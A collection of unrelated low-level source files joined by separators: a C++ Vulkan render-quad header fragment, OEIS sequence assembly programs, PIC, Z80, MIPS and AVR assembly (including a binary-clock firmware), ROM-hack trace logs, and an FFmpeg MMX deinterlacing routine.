* Creates a descriptor write for buffer texel view.
*\param[in] buffer
* The buffer.
*\param[in] view
* The texel view.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour une texel view sur un buffer.
*\param[in] buffer
* Le buffer.
*\param[in] view
* La texel view.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
C3D_API static ashes::WriteDescriptorSet makeDescriptorWrite( ashes::BufferBase const & buffer
, ashes::BufferView const & view
, uint32_t dstBinding
, uint32_t dstArrayElement = 0u );
/**
*\~english
*\brief
* Creates a descriptor write for buffer texel view.
*\param[in] buffer
* The buffer.
*\param[in] view
* The texel view.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour une texel view sur un buffer.
*\param[in] buffer
* Le buffer.
*\param[in] view
* La texel view.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
template< typename DataT >
static ashes::WriteDescriptorSet makeDescriptorWrite( ashes::Buffer< DataT > const & buffer
, ashes::BufferView const & view
, uint32_t dstBinding
, uint32_t dstArrayElement = 0u )
{
return makeDescriptorWrite( buffer.getBuffer()
, view
, dstBinding
, dstArrayElement );
}
RenderSystem * getRenderSystem()const
{
return &m_renderSystem;
}
RenderDevice const & getDevice()const
{
return m_device;
}
Sampler const & getSampler()const
{
return *m_sampler.lock();
}
/**@}*/
private:
C3D_API virtual void doRegisterPass( ashes::CommandBuffer & commandBuffer )const;
protected:
RenderSystem & m_renderSystem;
RenderDevice const & m_device;
SamplerResPtr m_sampler;
rq::ConfigData m_config;
private:
bool m_useTexCoord{ true };
ashes::DescriptorSetLayoutPtr m_descriptorSetLayout;
ashes::PipelineLayoutPtr m_pipelineLayout;
ashes::GraphicsPipelinePtr m_pipeline;
ashes::DescriptorSetPoolPtr m_descriptorSetPool;
std::vector< ashes::WriteDescriptorSetArray > m_passes;
std::vector< ashes::DescriptorSetPtr > m_descriptorSets;
std::vector< bool > m_invertY;
ashes::VertexBufferPtr< TexturedQuad::Vertex > m_vertexBuffer;
ashes::VertexBufferPtr< TexturedQuad::Vertex > m_uvInvVertexBuffer;
};
template< typename ConfigT, typename BuilderT >
class RenderQuadBuilderT
{
static_assert( std::is_same_v< ConfigT, rq::Config >
|| std::is_base_of_v< rq::Config, ConfigT >
, "RenderQuadBuilderT::ConfigT must derive from castor3d::rq::Config" );
public:
RenderQuadBuilderT()
{
}
/**
*\~english
*\param[in] config
* The texture coordinates configuration.
*\~french
*\param[in] config
* La configuration des coordonnées de texture.
*/
BuilderT & texcoordConfig( rq::Texcoord const & config )
{
m_config.texcoordConfig = config;
return static_cast< BuilderT & >( *this );
}
/**
*\~english
*\param[in] range
* Contains mip levels for the sampler.
*\~french
*\param[in] range
* Contient les mip levels, pour l'échantillonneur.
*/
BuilderT & range( VkImageSubresourceRange const & range )
{
m_config.range = range;
return static_cast< BuilderT & >( *this );
}
/**
*\~english
*\param[in] blendMode
* Contains blendMode to destination status.
*\~french
*\param[in] blendMode
* Contient le statut de mélange à la destination.
*/
BuilderT & blendMode( BlendMode blendMode )
{
m_config.blendMode = blendMode;
return static_cast< BuilderT & >( *this );
}
/**
*\~english
*\param[in] bindings
* Contains the inputs bindings.
*\~french
*\param[in] bindings
* Contient les bindings en entrée.
*/
BuilderT & bindings( rq::BindingDescriptionArray const & bindings )
{
m_config.bindings = bindings;
return static_cast< BuilderT & >( *this );
}
/**
*\~english
* Adds an image.
*\param[in] binding
* Contains the binding to add.
*\~french
* Ajoute un binding.
*\param[in] binding
* Contient le binding à ajouter.
*/
BuilderT & binding( rq::BindingDescription const & binding )
{
if ( !m_config.bindings )
{
m_config.bindings = rq::BindingDescriptionArray{};
}
m_config.bindings.value().push_back( binding );
return static_cast< BuilderT & >( *this );
}
/**
*\~english
* Adds an image.
*\param[in] descriptor
* The descriptor type.
*\param[in] stageFlags
* The descriptor stage flags.
*\~french
* Ajoute un binding.
*\param[in] descriptor
* Le type de descripteur.
*\param[in] stageFlags
* Les flags de shader du descripteur.
*/
BuilderT & binding( VkDescriptorType descriptor
, VkShaderStageFlags stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT )
{
return binding( rq::BindingDescription{ descriptor, ashes::nullopt, stageFlags } );
}
/**
*\~english
* Adds an image binding.
*\param[in] descriptor
* The descriptor type.
*\param[in] view
* The image view.
*\param[in] stageFlags
* The descriptor stage flags.
*\~french
* Ajoute un binding d'image.
*\param[in] descriptor
* Le type de descripteur.
*\param[in] view
* L'image view.
*\param[in] stageFlags
* Les flags de shader du descripteur.
*/
BuilderT & binding( VkDescriptorType descriptor
, VkImageViewType view
, VkShaderStageFlags stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT )
{
return binding( rq::BindingDescription{ descriptor, view, stageFlags } );
}
/**
*\~english
* Sets the result used for for 3D texture inputs.
*\remarks
* The 3D textures must be preprocessed externally to this result.
*\param[in] result
* The result.
*\~french
* Définit le résultat utilisé pour les textures 3D en entrée.
*\remarks
* Les textures 3D doivent être traitées en externe dans ce résultat.
*\param[in] result
* Le résultat.
*/
BuilderT & tex3DResult( IntermediateView result )
{
m_config.tex3DResult = result;
return static_cast< BuilderT & >( *this );
}
/**
*\~english
* Creates the RenderQuad.
*\param[in] device
* The RenderDevice.
*\param[in] name
* The pass name.
*\param[in] samplerFilter
* The sampler filter for the source texture.
*\~french
* Crée le RenderQuad.
*\param[in] device
* Le RenderDevice.
*\param[in] name
* Le nom de la passe.
*\param[in] samplerFilter
* Le filtre d'échantillonnage pour la texture source.
*/
RenderQuadUPtr build( RenderDevice const & device
, castor::String const & name
, VkFilter samplerFilter )
{
return castor::UniquePtr< RenderQuad >( new RenderQuad{ device
, name
, samplerFilter
, m_config } );
}
protected:
ConfigT m_config;
};
class RenderQuadBuilder
: public RenderQuadBuilderT< rq::Config, RenderQuadBuilder >
{
};
}
#endif
|
; A071917: Number of pairs (x,y) where x is even, y is odd, 1<=x<=n, 1<=y<=n and x+y is prime.
; Submitted by Jon Maiga
; 0,1,2,4,5,7,9,11,14,18,21,25,28,31,35,40,44,48,52,56,61,67,72,78,84,90,97,104,110,117,124,131,138,146,154,163,172,181,190,200,209,219,228,237,247,257,266,275,285,295,306,318,329,341,354,367,381,395,408,421,433,445,457,470,483,497,510,523,537,552,566,580,593,606,620,635,650,665,680,695,710,726,741,757,773,789,806,823,839,856,874,892,910,928,946,965,984,1003,1023,1044
mov $6,$0
mov $8,$0
lpb $8
mov $0,$6
mov $4,0
sub $8,1
sub $0,$8
mov $3,$0
mul $0,2
mov $5,$0
lpb $3
mov $2,$5
seq $2,80339 ; Characteristic function of {1} union {primes}: 1 if n is 1 or a prime, else 0.
sub $3,1
add $4,$2
sub $5,1
lpe
add $7,$4
lpe
mov $0,$7
|
#include "Platform.inc"
#include "TestDoubles.inc"
radix decimal
AdcRam udata
setAdcChannelResult res 1
ChannelStubs code
global initialiseSetAdcChannelStub
global setAdcChannel
global releaseAdcChannel
initialiseSetAdcChannelStub:
banksel setAdcChannelResult
movwf setAdcChannelResult
return
setAdcChannel:
banksel setAdcChannelResult
movf setAdcChannelResult, W
return
releaseAdcChannel:
return
end
|
// Created on: 1995-12-06
// Created by: Jacques GOUSSARD
// Copyright (c) 1995-1999 Matra Datavision
// Copyright (c) 1999-2014 OPEN CASCADE SAS
//
// This file is part of Open CASCADE Technology software library.
//
// This library is free software; you can redistribute it and/or modify it under
// the terms of the GNU Lesser General Public License version 2.1 as published
// by the Free Software Foundation, with special exception defined in the file
// OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT
// distribution for complete text of the license and disclaimer of any warranty.
//
// Alternatively, this file may be used under the terms of Open CASCADE
// commercial license or contractual agreement.
#ifndef BRepCheck_ListOfStatus_HeaderFile
#define BRepCheck_ListOfStatus_HeaderFile
#include <BRepCheck_Status.hxx>
#include <NCollection_List.hxx>
typedef NCollection_List<BRepCheck_Status> BRepCheck_ListOfStatus;
typedef NCollection_List<BRepCheck_Status>::Iterator BRepCheck_ListIteratorOfListOfStatus;
#endif
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
00046E move.w D0, ($28,A5)
000472 move.w #$9000, $800100.l [base+ 28]
00A9DC move.w #$12d6, ($28,A5)
00A9E2 clr.b ($4d4,A5) [base+ 28]
00AD5E move.w #$6d6, ($28,A5)
00AD64 moveq #$1, D0 [base+ 28]
00D986 move.w #$1396, ($28,A5)
00D98C subi.w #$10, ($7e8,A5) [base+ 28]
00DA44 move.w #$12d6, ($28,A5) [base+7E4]
00DA4A rts [base+ 28]
02076A move.w #$12d6, ($28,A5)
020770 cmpi.b #$6, ($4d9,A5) [base+ 28]
089F7E move.w #$1396, ($28,A5)
089F84 move.w #$9200, ($2e,A5) [base+ 28]
089F9E move.w #$12d6, ($28,A5)
089FA4 move.w #$9100, ($2e,A5) [base+ 28]
089FC4 move.w #$12d6, ($28,A5) [base+ 2E]
089FCA move.w ($82,A6), ($7e8,A5) [base+ 28]
09794E move.w #$12d6, ($28,A5)
097954 lea $90f000.l, A0 [base+ 28]
097C46 move.w #$18d6, ($28,A5)
097C4C bsr $97c94 [base+ 28]
09840A move.w #$12d6, ($28,A5)
098410 jsr $b52.l [base+ 28]
098422 move.w #$1396, ($28,A5) [base+ 2E]
098428 moveq #$38, D1 [base+ 28]
09A468 move.w #$1396, ($28,A5)
09A46E lea $90f000.l, A0 [base+ 28]
09A896 move.w #$12d6, ($28,A5)
09A89C bra $9a844 [base+ 28]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
copyright zengfr site:http://github.com/zengfr/romhack
0029B2 move.w D1, ($6,A4)
002A24 move.w ($6,PC,D0.w), D2 [base+28C, base+2AC, base+2CC]
002A8A move.b #$c, ($d,A4) [base+28C, base+2AC, base+2CC]
002AAE move.b #$c, ($d,A4) [base+28C, base+2AC, base+2CC]
002BC2 move.b #$c, ($d,A4) [base+28C, base+2AC, base+2CC]
002C44 move.w ($82,A2), D1 [base+28C, base+2AC, base+2CC]
002C68 move.b #$c, ($d,A4) [base+28C, base+2AC, base+2CC]
002C7A move.b #$c, ($d,A4) [base+28C, base+2AC, base+2CC]
002D98 bra $2b00 [base+28C, base+2AC, base+2CC]
002DC2 addq.b #2, ($4,A4) [base+28D, base+2AD, base+2CD]
002DC6 rts [base+28C, base+2AC, base+2CC]
002E40 move.b D0, ($4,A4) [base+28D, base+2AD, base+2CD]
002E44 rts [base+28C, base+2AC, base+2CC]
01A74C dbra D7, $1a74a
copyright zengfr site:http://github.com/zengfr/romhack
|
; A268306: The number of even permutations p of 1,2,...,n such that -1<=p(i)-i<=2 for i=1,2,...,n
; 1,1,2,4,7,12,22,41,75,137,252,464,853,1568,2884,5305,9757,17945,33006,60708,111659,205372,377738,694769,1277879,2350385,4323032,7951296,14624713,26899040,49475048,90998801,167372889,307846737,566218426,1041438052,1915503215,3523159692,6480100958,11918763865,21922024515,40320889337,74161677716,136404591568,250887158621,461453427904,848745178092,1561085764617,2871284370613,5281115313321,9713485448550,17865885132484,32860485894355,60439856475388,111166227502226,204466569871969,376072653849583,691705451223777,1272244674945328,2340022780018688,4303972906187793,7916240361151808
cal $0,301657 ; Number of nX3 0..1 arrays with every element equal to 0, 1 or 4 horizontally or vertically adjacent elements, with upper left element zero.
sub $0,1
div $0,2
add $1,$0
|
; Z88 Small C+ Run Time Library
; Long functions
;
SECTION code_l_sccz80
PUBLIC l_long_and
l_long_and:
; primary = dehl
; stack = secondary, ret
; 90 cycles
pop ix
pop bc
ld a,c
and l
ld l,a
ld a,b
and h
ld h,a
pop bc
ld a,c
and e
ld e,a
ld a,b
and d
ld d,a
jp (ix)
|
.data
arr: .word 34, 23, 15, 82, 38, 56, 48, 93, 49, 11
newarr: .word 0:10
msg: .asciiz "Hello World"
space: .asciiz " "
endl: .asciiz "\n"
.text
.globl main
main:
la $s0, arr
add $s1, $zero, $zero
L1:
lw $t1, 0($s0)
li $v0,1
move $a0, $t1
syscall
addi $s0, $s0, 4
addi $s1, $s1, 1
li $v0, 4
la $a0, space
syscall
beq $s1, 10, r1
j L1
r1:
li $v0, 4
la $a0, endl
la $s3, newarr
syscall
addi $s0, $s0, -4
rev:
lw $t2, 0($s0)
sw $t2, 0($s3)
addi $s0, $s0, -4
addi $s3, $s3, 4
addi $s1, $s1, -1
beq $s1, 0, print
j rev
print:
la $s3, newarr
addi $s1, $zero, 0
j print2
print2:
lw $t1, 0($s3)
li $v0,1
move $a0, $t1
syscall
addi $s3, $s3, 4
addi $s1, $s1, 1
li $v0, 4
la $a0, space
syscall
beq $s1, 10, Exit
j print2
Exit:
li $v0, 10
syscall
|
.include "binary_clock.inc"
/********************************************************************************
* R A M
*******************************************************************************/
.DSEG
hours: .byte 1
minutes: .byte 1
seconds: .byte 1
/********************************************************************************
* F L A S H
*******************************************************************************/
.CSEG
/* Interrupt vectors table */
.org $000 ; RESET External Pin, Power-on Reset, Brown-out Reset, Watchdog Reset, and JTAG AVR Reset
rjmp reset
.org $002 ; INT0 External Interrupt Request 0
reti
.org $004 ; INT1 External Interrupt Request 1
reti
.org $006 ; INT2 External Interrupt Request 2
reti
.org $008 ; TIMER2 COMP Timer/Counter2 Compare Match
reti
.org $00A ; TIMER2 OVF Timer/Counter2 Overflow
rjmp timer2_overflow_isr
.org $00C ; TIMER1 CAPT Timer/Counter1 Capture Event
reti
.org $00E ; TIMER1 COMPA Timer/Counter1 Compare Match A
reti
.org $010 ; TIMER1 COMPB Timer/Counter1 Compare Match B
reti
.org $012 ; TIMER1 OVF Timer/Counter1 Overflow
reti
.org $014 ; TIMER0 COMP Timer/Counter0 Compare Match
reti
.org $016 ; TIMER0 OVF Timer/Counter0 Overflow
reti
.org $018 ; SPI, STC Serial Transfer Complete
reti
.org $01A ; USART, RXC USART, Rx Complete
reti
.org $01C ; USART, UDRE USART Data Register Empty
reti
.org $01E ; USART, TXC USART, Tx Complete
reti
.org $020 ; ADC ADC Conversion Complete
reti
.org $022 ; EE_RDY EEPROM Ready
reti
.org $024 ; ANA_COMP Analog Comparator
reti
.org $026 ; TWI Two-wire Serial Interface
reti
.org $028 ; SPM_RDY Store Program Memory Ready
reti
; -------------------------------------------------------------------------------
/* Startup initialization */
reset:
; Stack pointer initialization
ldi TMPREG, Low(RAMEND)
out SPL, TMPREG
ldi TMPREG, High(RAMEND)
out SPH, TMPREG
cli ; Disable interrupts
/*
* Timer0 configuration. It's used for delays
*/
ldi TMPREG, (0 << CS02) | (1 << CS01) | (0 << CS00)
out TCCR0, TMPREG
/*
* Timer/Counter2 configuration.
* Watch quartz is connected to TOSC1 and TOSC2 pins, which is
* external clock input for Timer/Counter2.
*/
; Timer/Counter2 Overflow Interrupt Enable
SETB TIMSK, TOIE2, TMPREG
/*
* Configure prescaler to 128 (1 overflow interrupt per second) by
* setting Timer2 clock select (CS2) bits to 101.
*/
ldi TMPREG, (1 << CS22) | (0 << CS21) | (1 << CS20)
out TCCR2, TMPREG
; Configure Timer2 to use a external crystal oscillator.
SETB ASSR, AS2, TMPREG
/* Initialize clock */
rcall startup_clock_init
/* Initialize required I/O ports for LEDs */
; Configure ports to output mode
ldi TMPREG, 0xFF
out DDRA, TMPREG
SETB DDRC, CCOL5, TMPREG
SETB DDRC, CCOL6, TMPREG
rcall clock_ports_reset
/* Initialize I/O ports for buttons */
; Configure ports as PullUp I/O
SETB PORTC, BTN_STOP, TMPREG
SETB PORTC, BTN_SWITCH, TMPREG
SETB PORTC, BTN_SET, TMPREG
sei ; Enable interrupts
; Start program
rjmp main
; -------------------------------------------------------------------------------
startup_clock_init:
/* Reset clock status register */
ldi CLK_STATUS, 0x00
/* Restore time from EEEPROM */
; Restore hours
ldi EADDRL, low(eHours)
ldi EADDRH, high(eHours)
rcall eread_proc
sts hours, EDATA
cpi EDATA, 24 ; Max hours
brlo restore_minutes
; Set hours = 0 if restored valus is not correct ( >= 24)
ldi TMPREG, 0x00
sts hours, TMPREG
; Restore minutes
restore_minutes:
ldi EADDRL, low(eMinutes)
ldi EADDRH, high(eMinutes)
rcall eread_proc
sts minutes, EDATA
cpi EDATA, 60 ; Max minutes
brlo restore_seconds
; Set minutes = 0 if restored valus is not correct ( >= 60)
ldi TMPREG, 0x00
sts minutes, TMPREG
; Restore seconds
restore_seconds:
ldi EADDRL, low(eSeconds)
ldi EADDRH, high(eSeconds)
rcall eread_proc
sts seconds, EDATA
brlo continue_init
; Set seconds = 0 if restored valus is not correct ( >= 60)
ldi TMPREG, 0x00
sts seconds, TMPREG
continue_init:
/* Set clock status to active */
ori CLK_STATUS, 1 << CLK_ACTIVE
/* Start displaying from seconds */
ldi CDISP_STATUS, 1 << CDISP_SEC_LOW
/* Start time set from seconds */
ori CLK_STATUS, 1 << CLK_SET_SECONDS
ret
; -------------------------------------------------------------------------------
clock_ports_reset:
; Rows to GND
CLRB PORTA, CROW1, TMPREG
CLRB PORTA, CROW2, TMPREG
CLRB PORTA, CROW3, TMPREG
CLRB PORTA, CROW4, TMPREG
; Columns to VCC
SETB PORTA, CCOL1, TMPREG
SETB PORTA, CCOL2, TMPREG
SETB PORTA, CCOL3, TMPREG
SETB PORTA, CCOL4, TMPREG
SETB PORTC, CCOL5, TMPREG
SETB PORTC, CCOL6, TMPREG
ret
; -------------------------------------------------------------------------------
; Read from EEPROM
eread_proc:
sbic eecr, eewe
rjmp eread_proc
out EEARL, EADDRL
out EEARH, EADDRH
sbi EECR, EERE
in EDATA, EEDR
ret
; -------------------------------------------------------------------------------
; Write to EEPROM
ewrite_proc:
sbic eecr, eewe
rjmp ewrite_proc
cli
out EEARL, EADDRL
out EEARH, EADDRH
out EEDR, EDATA
sbi EECR, EEMWE
sbi EECR, EEWE
sei
ret
; -------------------------------------------------------------------------------
/*
* Splits time value stored in ATIME on two didgits stored in HTIME and LTIME.
* For example, if ATIME = 37 then HTIME will be = 3 and LTIME = 7
*/
time_split:
ldi HTIME, 0x00
ldi LTIME, 0x00
time_split_loop:
cpi PPARAM, 0x0A
brlo time_split_return
subi PPARAM, 0x0A
inc HTIME
rjmp time_split_loop
time_split_return:
mov LTIME, PPARAM
ret
; -------------------------------------------------------------------------------
set_row:
sbrc PPARAM, 0
SETB PORTA, CROW4, TMPREG1
sbrc PPARAM, 1
SETB PORTA, CROW3, TMPREG1
sbrc PPARAM, 2
SETB PORTA, CROW2, TMPREG1
sbrc PPARAM, 3
SETB PORTA, CROW1, TMPREG1
ret
; -------------------------------------------------------------------------------
button_stop_pressed:
; If button is already pressed - do nothing
sbrc CLK_STATUS, BTN_STOP_PRESSED
ret
; Remember that stop button pressed
ori CLK_STATUS, 1 << BTN_STOP_PRESSED
sbrs CLK_STATUS, CLK_ACTIVE
rjmp activate_and_return
/* Deactivate clock and save time to EEPROM */
; Deactivate
andi CLK_STATUS, ~(1 << CLK_ACTIVE)
; Save to EEPROM
; Save hours
ldi EADDRL, low(eHours)
ldi EADDRH, high(eHours)
lds EDATA, hours
rcall ewrite_proc
; Save minutes
ldi EADDRL, low(eMinutes)
ldi EADDRH, high(eMinutes)
lds EDATA, minutes
rcall ewrite_proc
; Save seconds
ldi EADDRL, low(eSeconds)
ldi EADDRH, high(eSeconds)
lds EDATA, seconds
rcall ewrite_proc
ret
/* Activate clock */
activate_and_return:
ori CLK_STATUS, 1 << CLK_ACTIVE
ret
; -------------------------------------------------------------------------------
button_set_pressed:
; If button is already pressed - do nothing
sbrc CLK_STATUS, BTN_SET_PRESSED
ret
; Remember that set button is pressed
ori CLK_STATUS, 1 << BTN_SET_PRESSED
; If clock is active - do nothing
sbrc CLK_STATUS, CLK_ACTIVE
ret
sbrc CLK_STATUS, CLK_SET_SECONDS
rjmp set_seconds
sbrc CLK_STATUS, CLK_SET_MINUTES
rjmp set_minutes
sbrc CLK_STATUS, CLK_SET_HOURS
rjmp set_hours
ret
set_seconds:
cli
lds TMPREG, seconds
inc TMPREG
cpi TMPREG, 60 ; Max seconds
brlo set_seconds_save
; Set seconds = 0
ldi TMPREG, 0x00
set_seconds_save:
sts seconds, TMPREG
rjmp button_set_pressed_finish
set_minutes:
cli
lds TMPREG, minutes
inc TMPREG
cpi TMPREG, 60 ; Max minutes
brlo set_minutes_save
; Set minutes = 0
ldi TMPREG, 0x00
set_minutes_save:
sts minutes, TMPREG
rjmp button_set_pressed_finish
set_hours:
cli
lds TMPREG, hours
inc TMPREG
cpi TMPREG, 24 ; Max hours
brlo set_hours_save
; Set hours = 0
ldi TMPREG, 0x00
set_hours_save:
sts hours, TMPREG
rjmp button_set_pressed_finish
button_set_pressed_finish:
sei ;Enable interrupts
ret
; -------------------------------------------------------------------------------
button_switch_pressed:
; If button is already pressed - do nothing
sbrc CLK_STATUS, BTN_SWITCH_PRESSED
ret
; Remember that switch button is pressed
ori CLK_STATUS, 1 << BTN_SWITCH_PRESSED
; If clock is active - do nothing
sbrc CLK_STATUS, CLK_ACTIVE
ret
sbrc CLK_STATUS, CLK_SET_SECONDS
rjmp switch_to_minutes
sbrc CLK_STATUS, CLK_SET_MINUTES
rjmp switch_to_hours
sbrc CLK_STATUS, CLK_SET_HOURS
rjmp switch_to_seconds
ret
switch_to_minutes:
andi CLK_STATUS, ~(1 << CLK_SET_SECONDS)
ori CLK_STATUS, 1 << CLK_SET_MINUTES
ret
switch_to_hours:
andi CLK_STATUS, ~(1 << CLK_SET_MINUTES)
ori CLK_STATUS, 1 << CLK_SET_HOURS
ret
switch_to_seconds:
andi CLK_STATUS, ~(1 << CLK_SET_HOURS)
ori CLK_STATUS, 1 << CLK_SET_SECONDS
ret
; -------------------------------------------------------------------------------
/* ISR */
timer2_overflow_isr:
; At first check if clock is active
sbrs CLK_STATUS, CLK_ACTIVE
reti
/* Seconds */
; Increment seconds
lds TMPREG1, seconds
inc TMPREG1
sts seconds, TMPREG1
; Check for seconds overflow
cpi TMPREG1, 60
brlo timer2_isr_finish
; Set seconds = 0
ldi TMPREG1, 0x00
sts seconds, TMPREG1
/* Minutes */
; Increment minutes
lds TMPREG1, minutes
inc TMPREG1
sts minutes, TMPREG1
; Check for minutes overflow
cpi TMPREG1, 60
brlo timer2_isr_finish
; Set minutes = 0
ldi TMPREG1, 0x00
sts minutes, TMPREG1
/* Hours */
; Increment hours
lds TMPREG1, hours
inc TMPREG1
sts hours, TMPREG1
; Check for hours overflow
cpi TMPREG1, 24
brlo timer2_isr_finish
; Set hours = 0
ldi TMPREG1, 0x00
sts hours, TMPREG1
timer2_isr_finish:
reti
; -------------------------------------------------------------------------------
/* Main program loop */
main:
/* Scan buttons */
; Scan stop button
sbis PINC, BTN_STOP
rcall button_stop_pressed
; Remember that stop button was released
sbic PINC, BTN_STOP
andi CLK_STATUS, ~(1 << BTN_STOP_PRESSED)
; Scan set button
sbis PINC, BTN_SET
rcall button_set_pressed
; Remember that set button was released
sbic PINC, BTN_SET
andi CLK_STATUS, ~(1 << BTN_SET_PRESSED)
; Scan switch button
sbis PINC, BTN_SWITCH
rcall button_switch_pressed
; Remember that switch button was released
sbic PINC, BTN_SWITCH
andi CLK_STATUS, ~(1 << BTN_SWITCH_PRESSED)
/* Check if it's time to switch displaying column */
in TMPREG, TCNT0
cpi TMPREG, 0x01
brsh display_time
andi CLK_STATUS, ~(1 << CLK_DISP_SWITCHED)
;
rjmp main
display_time:
; If already switched - return to main
sbrc CLK_STATUS, CLK_DISP_SWITCHED
rjmp main
; Indicate that displaying column switched
ori CLK_STATUS, 1 << CLK_DISP_SWITCHED
/* Reset rows */
in TMPREG, PORTA
andi TMPREG, 0xF0
out PORTA, TMPREG
sbrc CDISP_STATUS, CDISP_SEC_LOW
rjmp seconds_low_display
sbrc CDISP_STATUS, CDISP_SEC_HIGH
rjmp seconds_high_display
sbrc CDISP_STATUS, CDISP_MIN_LOW
rjmp minutes_low_display
sbrc CDISP_STATUS, CDISP_MIN_HIGH
rjmp minutes_high_display
sbrc CDISP_STATUS, CDISP_HOUR_LOW
rjmp hours_low_display
sbrc CDISP_STATUS, CDISP_HOUR_HIGH
rjmp hours_high_display
; Start from beginning
ldi CDISP_STATUS, 1
/* Seconds */
seconds_low_display:
DISPLAY_COLUMN 5, 0, seconds, LTIME
rjmp display_finish
seconds_high_display:
DISPLAY_COLUMN 0, 1, seconds, HTIME
rjmp display_finish
/* Minutes */
minutes_low_display:
DISPLAY_COLUMN 1, 2, minutes, LTIME
rjmp display_finish
minutes_high_display:
DISPLAY_COLUMN 2, 3, minutes, HTIME
rjmp display_finish
/* Hours */
hours_low_display:
DISPLAY_COLUMN 3, 4, hours, LTIME
rjmp display_finish
hours_high_display:
DISPLAY_COLUMN 4, 5, hours, HTIME
rjmp display_finish
display_finish:
lsl CDISP_STATUS
rjmp main
/********************************************************************************
* E E E P R O M
*******************************************************************************/
.ESEG
eHours: .db 0x01
eMinutes: .db 0x02
eSeconds: .db 0x03
|
;******************************************************************************
;* SIMD-optimized deinterlacing functions
;* Copyright (c) 2010 Vitor Sessak
;* Copyright (c) 2002 Michael Niedermayer
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_RODATA
cextern pw_4
SECTION .text
%macro DEINTERLACE 1
%ifidn %1, inplace
;void ff_deinterlace_line_inplace_mmx(const uint8_t *lum_m4, const uint8_t *lum_m3, const uint8_t *lum_m2, const uint8_t *lum_m1, const uint8_t *lum, int size)
cglobal deinterlace_line_inplace_mmx, 6,6,7, lum_m4, lum_m3, lum_m2, lum_m1, lum, size
%else
;void ff_deinterlace_line_mmx(uint8_t *dst, const uint8_t *lum_m4, const uint8_t *lum_m3, const uint8_t *lum_m2, const uint8_t *lum_m1, const uint8_t *lum, int size)
cglobal deinterlace_line_mmx, 7,7,7, dst, lum_m4, lum_m3, lum_m2, lum_m1, lum, size
%endif
pxor mm7, mm7
movq mm6, [pw_4]
.nextrow:
movd mm0, [lum_m4q]
movd mm1, [lum_m3q]
movd mm2, [lum_m2q]
%ifidn %1, inplace
movd [lum_m4q], mm2
%endif
movd mm3, [lum_m1q]
movd mm4, [lumq]
punpcklbw mm0, mm7
punpcklbw mm1, mm7
punpcklbw mm2, mm7
punpcklbw mm3, mm7
punpcklbw mm4, mm7
paddw mm1, mm3
psllw mm2, 1
paddw mm0, mm4
psllw mm1, 2
paddw mm2, mm6
paddw mm1, mm2
psubusw mm1, mm0
psrlw mm1, 3
packuswb mm1, mm7
%ifidn %1, inplace
movd [lum_m2q], mm1
%else
movd [dstq], mm1
add dstq, 4
%endif
add lum_m4q, 4
add lum_m3q, 4
add lum_m2q, 4
add lum_m1q, 4
add lumq, 4
sub sized, 4
jg .nextrow
REP_RET
%endmacro
DEINTERLACE ""
DEINTERLACE inplace
|
; A164848: a(n) = A026741(n)/A051712(n+1).
